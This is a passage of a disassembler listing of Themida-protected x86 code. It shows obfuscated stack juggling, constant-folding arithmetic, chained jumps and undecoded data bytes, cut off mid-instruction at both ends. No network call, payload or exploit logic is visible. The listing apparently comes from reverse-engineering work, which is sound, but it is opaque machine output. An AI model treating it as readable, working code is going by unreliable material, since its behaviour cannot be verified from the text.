[esp] add esp, 4 push eax push esp mov eax, [esp] add esp, 4 add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebx push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_54FEFC ; --------------------------------------------------------------------------- db 89h, 4, 24h aWswc db 'WéWc',0 align 2 loc_55083A: ; CODE XREF: Themida_:00546C1Ej mov ebp, 64AA4570h sub ebp, 59B45896h add ebp, 5D1E5672h sub ebp, 5C937A97h sub ebp, 0CAA1AD0Ah sub eax, ebp pop ebp pop ebp push esi push eax push 5BB03699h pop eax jmp loc_54C3BB ; --------------------------------------------------------------------------- dd 83242C8Bh, 0CA8104C4h, 6BAA30D7h, 31E8E281h, 0F2811AA4h dd 6EB76A73h, 2A01E94Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_550886: ; CODE XREF: Themida_:005545CBj push 3EEAh mov [esp], ebp jmp loc_547F33 ; --------------------------------------------------------------------------- db 8Fh dd 4812404h, 424h, 2434FF00h, 81240C8Bh, 4C4h, 4C48300h dd 4EC8357h, 52242C89h, 0FF9E6FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5508B9: ; CODE XREF: Themida_:005560E2j pop edi push edi jmp loc_54480D ; --------------------------------------------------------------------------- loc_5508C0: ; CODE XREF: Themida_:0054963Cj mov esi, 0 jmp loc_55635B ; --------------------------------------------------------------------------- dw 0F801h dd 0E9C2315Fh, 0FFFFAABAh, 4C581h, 0ED830000h, 242C3304h dd 33242C31h, 11E9242Ch db 0A8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5508EB: ; CODE XREF: Themida_:0054C17Cj push edi mov edi, 49962234h add ebp, edi jmp loc_555608 ; --------------------------------------------------------------------------- dd 2C8BEA01h, 4C48324h, 7FFCEA81h, 0F4E95CEBh, 66FFFF13h dd 6620402Dh, 66713605h, 66117705h, 2D66F829h, 2D661177h dd 55667136h, 2040BD66h, 0FFF6C8E9h, 74ABEFFh, 815624AAh dd 2F912434h, 0FEE90D5Fh, 89FFFF31h, 5C68240Ch, 51000017h dd 0C181E189h, 4, 4E981h, 0FF510000h, 59042474h, 5C24048Fh dd 81242489h, 42404h, 48F0000h, 4BA5224h, 1000000h, 5A042454h dd 0FF8993E9h, 2434FFFFh, 8324148Bh, 835304C4h, 248904ECh dd 49C6E924h, 0C483FFFFh, 2B08E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55099A: ; CODE XREF: Themida_:00552DF5j push 0AD0h mov [esp], ebx jmp loc_54C53B ; --------------------------------------------------------------------------- loc_5509A7: ; CODE XREF: Themida_:0054A0E5j add al, bh sub al, 2Dh sub esp, 4 mov [esp], ebx mov bl, 4Dh jmp loc_5500D0 ; --------------------------------------------------------------------------- db 81h dd 0D82220EEh, 24048B67h, 4D16E9h, 0E1C14100h, 8E1C102h dd 20B9E9h db 0 ; --------------------------------------------------------------------------- loc_5509D5: ; CODE XREF: Themida_:00553910j add edx, 69F882D6h jmp loc_5486DE ; --------------------------------------------------------------------------- loc_5509E0: ; CODE XREF: Themida_:00548661j xor ebx, eax xor eax, ebx jmp loc_54D3C6 ; --------------------------------------------------------------------------- aLH db '‹$$hÑ(',0 dd 9322E900h, 0EB01FFFFh, 6C15C381h, 0EB8128CAh, 3443097Eh dd 9E5FE95Dh, 0E7C1FFFFh, 6073E902h, 0C481FFFFh, 4, 30E9EE01h db 0FAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550A1F: ; CODE XREF: Themida_:00551F8Fj add dword ptr [esp+4], 42857B01h add [esp+4], ebp sub dword ptr [esp+4], 42857B01h add dword ptr [esp+4], 154D46A0h pop ebp mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], ebx push edx jmp loc_5478E4 ; --------------------------------------------------------------------------- loc_550A51: ; CODE XREF: Themida_:0055545Ej inc esi push ebx mov ebx, 620D4127h push 63CBh mov [esp], ebx jmp loc_552B30 ; --------------------------------------------------------------------------- loc_550A65: ; CODE XREF: Themida_:00555700j add ecx, 4 xchg ecx, [esp] pop esp add ecx, 4 xchg ecx, [esp] mov esp, [esp] xor eax, esi mov esi, [esp] jmp loc_553F51 ; --------------------------------------------------------------------------- loc_550A7F: ; CODE XREF: Themida_:0054B521j add esp, 4 rep movsd add esp, [edx+38h] push 2B88h jmp loc_54688D ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0C181E189h, 4, 0FF1DC2E9h, 66F788FFh, 0AE06E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550AAA: ; CODE XREF: Themida_:005518EAj mov ebx, 7033C86h jmp loc_542A70 ; --------------------------------------------------------------------------- loc_550AB4: ; CODE XREF: Themida_:00542276j mov eax, 4 add esi, 4E446DCAh add esi, eax push ebx push eax mov eax, 7EBE16FAh jmp loc_54F4FC ; --------------------------------------------------------------------------- loc_550ACD: ; CODE XREF: Themida_:00555EEDj mov eax, 0A651047h dec eax push ebp mov ebp, 47D5C1Dh sub eax, ebp pop ebp push eax dec dword ptr [esp] pop eax jmp loc_543121 ; --------------------------------------------------------------------------- loc_550AE6: ; CODE XREF: Themida_:0054A67Fj pop ebx add esi, 9452C25h add esi, ebp sub esi, 9452C25h jmp loc_54BFC5 ; --------------------------------------------------------------------------- loc_550AFA: ; CODE XREF: Themida_:0054D3A4j xor [esp], ebp xor ebp, [esp] pop esp mov [esp], ebx mov bh, 0A7h or cl, bh pop ebx push 107Fh mov [esp], ecx not byte ptr [esp] jmp loc_550186 ; --------------------------------------------------------------------------- db 81h, 0CAh, 15h dd 0E9244854h, 0FFFFD4C2h, 50242C89h, 2A09B6B8h, 338CBD3Eh dd 0B951A5E7h, 4DB35AEh, 0E987D1F7h, 0E987D5F7h, 4264E181h dd 0F7E96869h, 81FFFFC2h, 0FFFFFFC7h, 1C783FFh, 1BCD68h dd 24348900h, 3BE39DBEh, 0FFF7312Ch, 7DE92434h, 5BFFFF18h dd 6E6DED81h, 7568653Ch, 0E9000021h, 0FFFFB543h ; --------------------------------------------------------------------------- loc_550B7C: ; CODE XREF: Themida_:0054E1D6j pop edi sub esi, edx push dword ptr [esp] pop edx push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_548856 ; --------------------------------------------------------------------------- db 89h dd 4C281E2h, 83000000h, 0FF5204C2h, 5A042474h, 5C24048Fh dd 6885F180h, 159Dh, 0B7241C89h, 0FFC7809Bh, 3B43E9h, 48B5E00h dd 4FACE924h, 0C3810000h, 0BC5A5072h, 815BDA89h, 2D249EF2h dd 0CBEF8172h, 1682337h, 0CBC781D7h, 5A682337h, 216768h dd 243C8900h, 42474FFh, 2590E9h db 0 ; --------------------------------------------------------------------------- loc_550BF9: ; CODE XREF: Themida_:00553DD0j pop ebx add esp, 4 xor eax, edi xor edi, eax xor eax, edi push eax mov eax, esp jmp loc_543184 ; --------------------------------------------------------------------------- db 54h dd 0BE56515Fh, 460575D7h, 8B5FC681h, 0DEF7D8C8h, 174CC681h dd 0E6812F6Dh, 18514D06h, 57FCC681h, 0F1890091h, 81E9D15Eh dd 512DFDE9h, 0D3E95308h, 29FFFFC6h, 62BF57D0h, 81379520h dd 7E2D5AEFh, 77BB535Dh, 316F7A7Ch, 10A0E9DFh db 2 dup(0) ; --------------------------------------------------------------------------- loc_550C5A: ; CODE XREF: Themida_:005532BFj xor esi, ebp pop ebp push edi mov edi, 9DC6317Ah xor esi, edi pop edi add ecx, 61B115Bh sub ecx, esi sub ecx, 61B115Bh pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], ebp mov ebp, 0FFFFFFFFh jmp loc_54BBD6 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0FF7BBD55h, 0E931BE9Ah, 52242C8Bh, 0FF10EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_550CA9: ; CODE XREF: Themida_:00543845j xor ebp, 3FDE5933h pop edi sub ebp, 1A4E629Ah sub esp, 4 mov [esp], ebp mov ebx, [esp] add esp, 4 push dword ptr [esp] pop ebp add esp, 4 jmp loc_54D8C9 ; --------------------------------------------------------------------------- loc_550CD1: ; CODE XREF: Themida_:0054AAE3j mov ebp, 132C30FAh and edx, ebp pop ebp jmp loc_555921 ; --------------------------------------------------------------------------- loc_550CDE: ; CODE XREF: Themida_:00547FC3j and cl, al pop eax add cl, 7Ah sub bl, cl pop ecx sub bl, ch jmp loc_5438E8 ; --------------------------------------------------------------------------- dw 1C89h dd 2474FF24h, 773DE904h, 0CD01FFFFh, 83240C8Bh, 0E80104C4h dd 0CF30E95Dh, 0C629FFFFh, 81FE0158h, 0EC27FCC6h, 243C8B0Dh dd 4C481h, 0ACE90000h db 0EAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550D23: ; CODE XREF: Themida_:0054759Aj sub ebx, 1FD96257h add ebp, ebx pop ebx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebp pop ebx jmp loc_549BC7 ; --------------------------------------------------------------------------- loc_550D3F: ; CODE XREF: Themida_:00542D59j sub esi, 36C4E0Dh mov ebp, esi mov esi, [esp] add esp, 4 jmp loc_54465D ; --------------------------------------------------------------------------- dw 489h aRJerSC1Z@@58H db '$Rº½j¥R¸´S³c1ÐZ@@5Æ8',0Ah db ']h½',9,0 dw 8900h dd 0C189240Ch, 5859CA89h, 3336E9h, 0EFC15E00h, 68535005h dd 1D464Eh, 0FFA883E9h db 0FFh ; --------------------------------------------------------------------------- loc_550D8D: ; CODE XREF: Themida_:0054964Aj push 145Ah jmp loc_549B49 ; --------------------------------------------------------------------------- loc_550D97: ; CODE XREF: Themida_:00547C6Cj add ebp, esi pop esi jmp loc_554188 ; --------------------------------------------------------------------------- loc_550D9F: ; CODE XREF: Themida_:0054644Ej pop esi push ebp not dword ptr [esp] inc dword ptr [esp] mov ebp, [esp] add esp, 4 and ebp, 0F53A8Ah push ecx jmp loc_54DB37 ; --------------------------------------------------------------------------- db 81h, 0C3h, 0BFh dd 8155ED3Bh, 0FE1CE7EBh, 243C8B77h, 0FF4107E9h, 24248BFFh dd 0E92424D3h, 34CFh, 4240481h, 8B000000h, 88E9240Ch, 89000028h dd 0BF572414h, 384704DCh, 0FFECAEE9h, 0DBF680FFh, 535AF028h dd 0FFBAE4E9h db 0FFh ; --------------------------------------------------------------------------- loc_550E01: ; CODE XREF: Themida_:0055637Ej mov esi, edx jmp loc_551896 ; --------------------------------------------------------------------------- dd 8904EC83h, 8B54242Ch, 0C483242Ch, 4C58104h, 81000000h dd 4C5h, 74FF5500h, 2C8B0424h, 3DB6E924h, 0EB810000h, 30E497Dh dd 3783E9h, 4C48300h, 4B850h, 0C5010000h, 4685658h, 0E9000000h dd 0FFFF9BB5h dword_550E50 dd 2B60F66h, 0FFAA73E9h, 4C483FFh, 0EFAE9h, 4BF00h, 7C010000h ; DATA XREF: Themida_:00541A14o dd 8B5F0424h, 0C483242Ch, 6ACE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550E76: ; CODE XREF: Themida_:00549B4Cj push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] test cx, ax pushf jmp loc_54DCE0 ; --------------------------------------------------------------------------- loc_550E8A: ; CODE XREF: Themida_:0054C727j push dword ptr [esp] pop ebx jmp loc_5511FC ; --------------------------------------------------------------------------- db 87h dd 0E9E9240Ch db 0EBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550E9B: ; CODE XREF: Themida_:0055580Bj mov dh, 0ACh sub bl, dh jmp loc_54BF54 ; --------------------------------------------------------------------------- dd 0B8240489h, 4, 0FD0FE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550EB2: ; CODE XREF: Themida_:00542817j xchg eax, [esp] mov esp, [esp] jmp loc_54BC45 ; --------------------------------------------------------------------------- loc_550EBD: ; CODE XREF: Themida_:00556657j pop eax push edx push ebx push ebp push 579B53B9h pop ebp xor ebp, 4E09394Dh mov ebx, ebp pop ebp shl ebx, 5 shr ebx, 5 add ebx, 3C5E0146h add ebx, 2B9BC529h mov edx, ebx jmp loc_543975 ; --------------------------------------------------------------------------- loc_550EE9: ; CODE XREF: Themida_:0054F396j pop edx sub ecx, 47A12CCh sub ecx, 7369393Dh add ecx, edi add ecx, 7369393Dh push eax mov eax, 0A3323CBh not eax sub eax, 0D82F6DBBh jmp loc_554A3A ; --------------------------------------------------------------------------- loc_550F10: ; CODE XREF: Themida_:0054FD3Bj push ebp mov ebp, 38164076h sub ecx, ebp pop ebp jmp loc_555775 ; --------------------------------------------------------------------------- dw 0C483h dd 6E7C104h, 504BB53h, 23E97A80h db 2Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_550F2F: ; CODE XREF: Themida_:00554D40j mov esi, 25551B38h push ebx mov ebx, 0DEB23253h add esi, ebx pop ebx add eax, esi pop esi pop esi push 77Ah jmp loc_54BCA8 ; --------------------------------------------------------------------------- db 0BBh dd 4, 1C8BD901h, 0E3895324h, 4C381h, 0FBE90000h, 89FFFF28h dd 4BB241Ch, 1000000h, 241C8BD8h, 4C481h, 0E9560000h, 1A15h dd 0FF0B9EE9h, 91685BFFh, 8900000Ch, 67E9242Ch, 28000054h dd 0EC8350C3h, 240C8904h, 49B4E9h db 0 ; --------------------------------------------------------------------------- loc_550F9D: ; CODE XREF: Themida_:00551A48j mov [esp], esp jmp loc_5510DB ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 0CDh dd 66FFFF9Eh, 26B45059h, 0EC80CCFEh, 2ECC0FFh, 2883C480h dd 0C32858E3h, 668CC380h, 8124048Bh, 4ECh, 2FBDE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_550FD2: ; CODE XREF: Themida_:00554BC5j xchg esi, [esp] pop esp jmp loc_54B00A ; --------------------------------------------------------------------------- db 8Bh dd 15682424h, 89000078h, 89522434h, 4C281E2h, 0E9000000h dd 0FFFF329Dh ; --------------------------------------------------------------------------- loc_550FF4: ; CODE XREF: Themida_:0054F02Bj sub edi, 12074AC9h jmp loc_553D5B ; --------------------------------------------------------------------------- db 81h dd 383889EEh, 0E9CE290Dh, 0FFFF88EFh, 7E7EEA81h, 0D601B1E2h dd 8124148Bh, 4C4h, 0D2C58100h, 111D369h, 0D2BE56F5h, 2911D369h dd 34FF5EF5h, 72D2E924h, 0C15AFFFFh, 9FE904EEh, 54000013h dd 49D4E95Eh, 0E689FFFFh, 4C681h, 0EE830000h, 24348704h dd 240C895Ch, 10BF3AB9h, 0B6CAE9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551062: ; CODE XREF: Themida_:00554EC5j mov [esp], ecx mov ecx, 2FA0102Eh push ebx mov ebx, 155B4088h add ebx, 5674276Bh and ecx, ebx pop ebx push 4DD8h mov [esp], edx mov edx, 0FFFFFFFFh sub ecx, edx pop edx push ebp mov ebp, offset word_4A3DBE add ecx, ebp pop ebp jmp loc_54C6B2 ; --------------------------------------------------------------------------- db 51h dd 41062B9h, 2DC68142h, 12D466Eh, 2DEE81CEh, 8B2D466Eh dd 0C483240Ch, 0F6814604h, 1247C613h, 0FF1F6AE9h, 4EC81FFh dd 0E9000000h, 0FFFFA84Dh ; --------------------------------------------------------------------------- loc_5510C8: ; CODE XREF: Themida_:0054FDC0j xor edi, 58007609h add ecx, 5D6A4A19h sub ecx, edi jmp loc_5464F4 ; --------------------------------------------------------------------------- loc_5510DB: ; CODE XREF: Themida_:00550FA0j add dword ptr [esp], 4 pop esi jmp loc_54B558 ; --------------------------------------------------------------------------- db 89h, 0E9h, 89h dd 34FF59CAh, 2DF6E924h, 0F789FFFFh, 27E0E95Eh, 0F9290000h dd 0E9F1015Fh, 0FFFF717Ch, 24248Bh, 0E99C2404h, 0FFFFCAACh ; --------------------------------------------------------------------------- loc_551110: ; CODE XREF: Themida_:005463B6j mov ebp, 7C5F03C8h mov eax, 0C6A1227Dh sub eax, ebp pop ebp inc eax jmp loc_555104 ; --------------------------------------------------------------------------- db 0B5h dd 4E5C06Fh, 8017B753h, 0FD30ECF7h, 0FFD1C6E9h db 0FFh byte_551135 db 0FFh, 77h, 1Ch ; DATA XREF: Themida_:005418CCo dd 4EC8155h, 89000000h, 0BF572404h, 59354EEFh, 35D6EF81h dd 0F8894AEDh, 58C5895Fh, 4246C01h, 4A6FE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55115E: ; CODE XREF: Themida_:00556625j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] push 3031h mov [esp], ecx jmp loc_5477BD ; --------------------------------------------------------------------------- db 68h dd 154h, 0E9243C89h, 100Ch ; --------------------------------------------------------------------------- loc_551184: ; CODE XREF: Themida_:005552CAj xor eax, 0CC8761A6h or edi, eax pop eax jmp loc_54C705 ; --------------------------------------------------------------------------- db 81h, 0EAh, 0A2h dd 1BBA7CBh, 0C6815AD6h, 5C014203h, 0A5E9D601h db 48h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5511A7: ; CODE XREF: Themida_:00555AFAj sub edi, 60DE1910h add edi, 1B5B613Bh pop ebx jmp loc_554B65 ; --------------------------------------------------------------------------- loc_5511B9: ; CODE XREF: Themida_:0054C2A2j mov ebx, 4 add edi, ebx pop ebx jmp loc_552636 ; --------------------------------------------------------------------------- loc_5511C6: ; CODE XREF: Themida_:00553C6Bj add eax, 4 jmp loc_54C9C5 ; --------------------------------------------------------------------------- loc_5511D0: ; CODE XREF: Themida_:00542179j mov [esp], eax mov eax, 7D54446h neg eax xor eax, 29442741h add eax, 2E916309h push eax push ecx sub esp, 4 mov [esp], ebp mov ebp, 308F45BBh xor ebp, 495A7F94h jmp loc_542F4B ; --------------------------------------------------------------------------- loc_5511FC: ; CODE XREF: Themida_:00550E8Ej add esp, 4 add al, cl pop ecx push eax mov eax, esp jmp loc_554E25 ; --------------------------------------------------------------------------- dw 0F929h dd 5F2434FFh, 0FF6C18E9h, 8067B4FFh, 0C4808AC4h, 8BE230EEh dd 0C4812404h, 4, 805AD330h, 0E38060CBh, 0D5EB80DAh, 4EC81h dd 14890000h, 4EC8324h, 0B5240C89h, 88ABE9A9h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55124A: ; CODE XREF: Themida_:0054428Cj push 0DF1h mov [esp], ebx sub esp, 4 jmp loc_54A6F5 ; --------------------------------------------------------------------------- db 68h, 1Dh, 10h dd 4890000h, 2474FF24h, 0DF2CE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55126E: ; CODE XREF: Themida_:00555114j push eax jmp loc_548DD9 ; --------------------------------------------------------------------------- dd 0E9241431h, 4E11h ; --------------------------------------------------------------------------- loc_55127C: ; CODE XREF: Themida_:0054E2EEj mov eax, 11D53FB3h or esi, eax pop eax push ecx jmp loc_54298F ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8904EC83h, 8B542434h, 0C4832434h, 3AE95504h, 89000058h dd 18E92414h db 1Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5512AB: ; CODE XREF: Themida_:005555BFj mov [esp], eax push edx mov edx, 6C1C7625h push edx push ebx jmp loc_54326B ; --------------------------------------------------------------------------- db 83h dd 0E0C004C4h, 0E0D5E906h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_54ECF8 ; --------------------------------------------------------------------------- dd 0C381D329h, 35106927h, 4861C381h, 815A78A1h, 0A9114FEBh dd 0AEB812Ah, 2933F656h, 0AC381C3h, 8133F656h, 0A9114FC3h dd 4AC3812Ah, 0E94EFE65h, 0FFFF7438h ; --------------------------------------------------------------------------- loc_551308: ; CODE XREF: Themida_:00551FD7j push ebx push edi push 1BC759D7h pop edi jmp loc_54A0F8 ; --------------------------------------------------------------------------- loc_551315: ; CODE XREF: Themida_:005438FDj movzx eax, al push dword ptr [edi+eax*4] push dword ptr [esp] pop eax push 54A4h mov [esp], esi push esp mov esi, [esp] jmp loc_5551B6 ; --------------------------------------------------------------------------- dd offset dword_43B164+1A1Dh dd 0E381540Dh, 1E896280h, 7943EB81h, 0C38111BEh, 52E63337h dd 0D9F0F381h, 0D9015FB0h, 4E9835Bh, 59EE9h, 48F5400h dd 4EC8124h, 0E9000000h, 0FFFF2A3Ch, 5D2434FFh, 4C481h dd 0B9510000h, 5A456E50h, 0CA07E956h, 0EDC1FFFFh, 41F58104h dd 1041927h, 0C6835DEEh, 24348704h, 4878685Ch, 1C890000h dd 1220E924h, 57590000h, 0C781E789h, 4, 4EF81h, 3C870000h dd 34895C24h, 75685024h, 0E9437501h, 0FFFF85A1h, 0FF240489h dd 8B042474h, 0C4812404h, 4, 5C24048Fh, 3EBFE9h, 0E9835E00h dd 240C3304h, 3AEBE9h db 0 ; --------------------------------------------------------------------------- loc_5513E5: ; CODE XREF: Themida_:00556364j add esi, 54D82D1Bh sub edx, esi pop esi push eax mov eax, 4E9D6B35h push ebp mov ebp, 74DE3329h or eax, ebp pop ebp xor eax, 1A42E61h push eax not dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 xor eax, 0D253EDBCh sub edx, eax pop eax add edx, 0E5A3739h jmp loc_5493B0 ; --------------------------------------------------------------------------- dd 5C242C87h, 0FF4E5EE9h, 24348BFFh, 4C481h, 4AE90000h db 97h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551437: ; CODE XREF: Themida_:005526D1j push eax mov eax, 324C5E5Ch and ebp, eax mov eax, [esp] add esp, 4 push eax push edx push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] jmp loc_544C7A ; --------------------------------------------------------------------------- db 0C0h dd 0F58005E5h, 59EE88ACh, 0FF4B26E9h, 0ACE958FFh db 2, 2 dup(0) byte_55146F db 0FFh ; DATA XREF: Themida_:005419D8o dd 83582434h, 348904ECh, 2EFB6824h, 24890000h, 24048124h dd 4, 8124348Bh, 4C4h, 4B86E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_551496: ; CODE XREF: Themida_:00553EECj sub eax, 53086097h jmp loc_5519B7 ; --------------------------------------------------------------------------- loc_5514A0: ; CODE XREF: Themida_:00547918j pop eax sub esp, 2 mov [esp], cx mov ch, 0BEh jmp loc_5506F0 ; --------------------------------------------------------------------------- dw 295Bh dd 3C875DEFh, 3C895C24h, 9D1DE924h, 0C481FFFFh, 4, 0FF0652E9h dd 2434FFFFh, 0FF2407E9h db 0FFh ; --------------------------------------------------------------------------- loc_5514D5: ; CODE XREF: Themida_:0054C9DAj xchg ebp, [esp] mov esp, [esp] or edx, eax shl edx, 1 push edx mov edx, 24h push 44D1h mov [esp], eax jmp loc_547A2D ; --------------------------------------------------------------------------- dw 8B66h dd 54562404h, 0FF1812E9h, 48F5BFFh, 18E95C24h, 2DFFFF06h dd 7B86042Bh, 83243C8Bh, 0BB5304C4h, 33034254h, 1C8BD829h dd 11F8E924h, 0E957FFFFh, 3717h, 5809EF80h, 7FE9C7FEh dd 81000025h, 0CA770BF5h, 0BBF5810Ch, 8955D26Dh, 0E074E9EFh dd 0C331FFFFh, 8904EC83h, 5B54241Ch, 3F2FB951h, 0E981451Dh dd 1, 0FF6404E9h db 0FFh ; --------------------------------------------------------------------------- loc_551561: ; CODE XREF: Themida_:00545B9Ej push eax mov eax, 7DCD2F4Dh shl eax, 2 add eax, 2D2E1EA9h not eax sub eax, 65E7F034h sub edx, eax pop eax or edx, 244D4C00h neg edx xor edx, 0D92021C7h add ebx, edx pop edx jmp loc_542DB6 ; --------------------------------------------------------------------------- loc_55158F: ; CODE XREF: Themida_:0054784Ej and edi, 0CF71C81h xor edi, 0F34DDCE6h jmp loc_5534A2 ; --------------------------------------------------------------------------- dd 0BFh, 46C78100h, 81575051h, 930299C7h, 81D72946h, 930299EFh dd 46B85046h, 29575051h, 0FA8758C7h, 0FFC8E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_5515C9: ; CODE XREF: Themida_:005562E2j push ebp mov ebp, 620C2C38h and ebp, 691156BBh dec ebp not ebp dec ebp or ebp, 4788323Ch add ebp, 20C87048h jmp loc_554517 ; --------------------------------------------------------------------------- dw 2168h dd 8900001Ch, 0DDE9243Ch db 39h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5515F7: ; CODE XREF: Themida_:00543E19j add esi, 63A424B2h add esi, 201942B3h add esi, ebp sub esi, 201942B3h sub esi, 63A424B2h pop ebp add esi, 4 jmp loc_547898 ; --------------------------------------------------------------------------- db 81h, 0C7h, 0ADh dd 1544557h, 0ADEF81D7h, 5A544557h, 4EC81h, 0D5E90000h dd 1FFFFD3h, 11EF81C7h, 58538214h, 81E28952h, 4C2h, 71B95100h dd 0F72CBF07h, 8AF181D1h, 29D340F8h, 0FF5259CAh, 5A042474h dd 0E924048Fh, 0FFFF25DCh, 0BCE95A66h, 8300001Ah, 0FF5304EBh dd 0E9042474h, 0FFFFCC9Bh, 4C681h, 34870000h, 24248B24h dd 183668h, 240C8900h, 1B6E68h, 241C8900h, 0FFADB5E9h dd 5AD629FFh, 5C243487h, 68241489h, 5E2h, 68243C89h, 29E1042Dh dd 0FF5A41E9h, 240489FFh, 0B80768B8h, 4118E930h, 8966FFFFh dd 29665BDDh, 6606246Ch, 348B665Dh, 2C48324h, 66575666h dd 664A52BFh, 65E9FE89h db 54h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5516E7: ; CODE XREF: Themida_:005453AAj add edx, 4 add edx, 4 jmp loc_551A14 ; --------------------------------------------------------------------------- db 0BDh, 0CAh, 51h dd 0ED816F87h, 12C70D19h, 5A8FF581h, 0C5813781h, 357EA97h dd 415DE931h, 772BF181h, 0EAE919E7h, 8BFFFF2Bh, 0C483240Ch dd 8BF23104h, 54512434h, 592434FFh, 8104C483h, 4C1h, 4C18100h dd 0E9000000h, 2CA8h, 0E925B151h, 0FFFF980Bh, 4B5368h dd 240C8900h, 42474FFh, 24048F59h, 6624248Bh, 9C240431h dd 0FF5A83E9h db 0FFh ; --------------------------------------------------------------------------- loc_551765: ; CODE XREF: Themida_:0055644Dj neg edx sub edx, 4E327092h sub edi, edx pop edx mov esi, [esp] add esp, 4 push ebx push 4B4D5415h jmp loc_5563D3 ; --------------------------------------------------------------------------- loc_551781: ; CODE XREF: Themida_:0054566Aj pop esi sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_5521FA ; --------------------------------------------------------------------------- byte_551791 db 66h, 8Bh, 4 ; DATA XREF: Themida_:00541AB0o dd 4EC8324h, 89241C89h, 4C381E3h, 68000000h, 405Ch, 0BA241489h dd 2, 34FFD301h, 0A357E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5517BA: ; CODE XREF: Themida_:0054DE86j add edi, ecx jmp loc_54BBA9 ; --------------------------------------------------------------------------- db 53h, 59h, 5Bh dd 77A1E268h, 0EE815E88h, 50512E23h, 0FFF82AE9h, 75C781FFh dd 83417C0Bh, 0F781FFC7h, 7D0325A4h, 24048157h, 0CB5938h dd 38EE815Eh, 5F00CB59h, 42ACE681h, 0E6816302h, 20FC1188h dd 1F3EF681h, 0EE83465Dh, 6F8D6801h, 2C890000h, 4D4BD24h dd 0B9514F5Bh, 56E27A93h, 2089BA52h, 0E2D132D3h, 0DCEA81h dd 0E95623CCh, 4003h, 890F9ABAh, 0E3F2811Eh, 310E6410h dd 31D631F2h, 87D6F7F2h, 0C4EA81F2h, 0F72B6F7Bh, 58CA81DAh dd 0E90CBD27h, 0FFFF7D48h, 1679F581h, 0C58177D9h, 58B3084Bh dd 0FFFCCAE9h db 0FFh ; --------------------------------------------------------------------------- loc_551869: ; CODE XREF: Themida_:00543F12j mov esi, esp add esi, 4 sub esi, 4 jmp loc_554B42 ; --------------------------------------------------------------------------- aZzhh@ db '^)ÑZZhH@',0 align 2 dw 0A4E9h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55188B: ; CODE XREF: Themida_:00545AD7j pop esi push 35A9h jmp loc_54A180 ; --------------------------------------------------------------------------- loc_551896: ; CODE XREF: Themida_:00550E03j mov edx, [esp] jmp loc_54E940 ; --------------------------------------------------------------------------- dw 489h dd 4EC8324h, 24048F54h, 0FF3936E9h db 0FFh byte_5518AD db 66h, 8Bh, 4 ; DATA XREF: Themida_:005419CCo dd 2989E924h, 48FFFFFh, 0AEBFE924h, 8966FFFFh, 63B7241Ch dd 0F800DD2Ch, 84E95266h db 26h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5518CF: ; CODE XREF: Themida_:00543B38j sub esp, 4 mov [esp], esi push esp mov esi, [esp] add esp, 4 jmp loc_54D7E9 ; --------------------------------------------------------------------------- loc_5518E4: ; CODE XREF: Themida_:00544353j and eax, 2F207FCCh push ebx jmp loc_550AAA ; --------------------------------------------------------------------------- db 83h dd 76E902C4h, 87FFFFBCh, 895C240Ch, 0D4B9240Ch, 5670EA0Ch dd 0BEh, 87CE2900h, 0F1815EF1h, 703512Ah, 63A9BF57h, 0F9295DEFh dd 1E5CE9h db 0 ; --------------------------------------------------------------------------- loc_551921: ; CODE XREF: Themida_:00546145j push 39202FA3h jmp loc_54DC32 ; --------------------------------------------------------------------------- db 29h dd 24048BC5h, 4C481h, 0EE810000h, 60BF1BB8h, 7FE9EE01h dd 100003Eh, 0C3835AD3h, 241C8704h, 378EE95Ch, 8068FFFFh dd 89000049h, 0F1BB241Ch, 8139D51Ch, 7A3BCEEBh, 0F7D3F71Ah dd 5E3C1DBh, 0FFB463E9h db 0FFh ; --------------------------------------------------------------------------- loc_551971: ; CODE XREF: Themida_:00548C03j mov esi, 50623691h jmp loc_555458 ; --------------------------------------------------------------------------- loc_55197B: ; CODE XREF: Themida_:0054F512j add esp, 4 push dword ptr [esp] pop eax add esp, 4 push ecx mov ecx, 68275533h sub 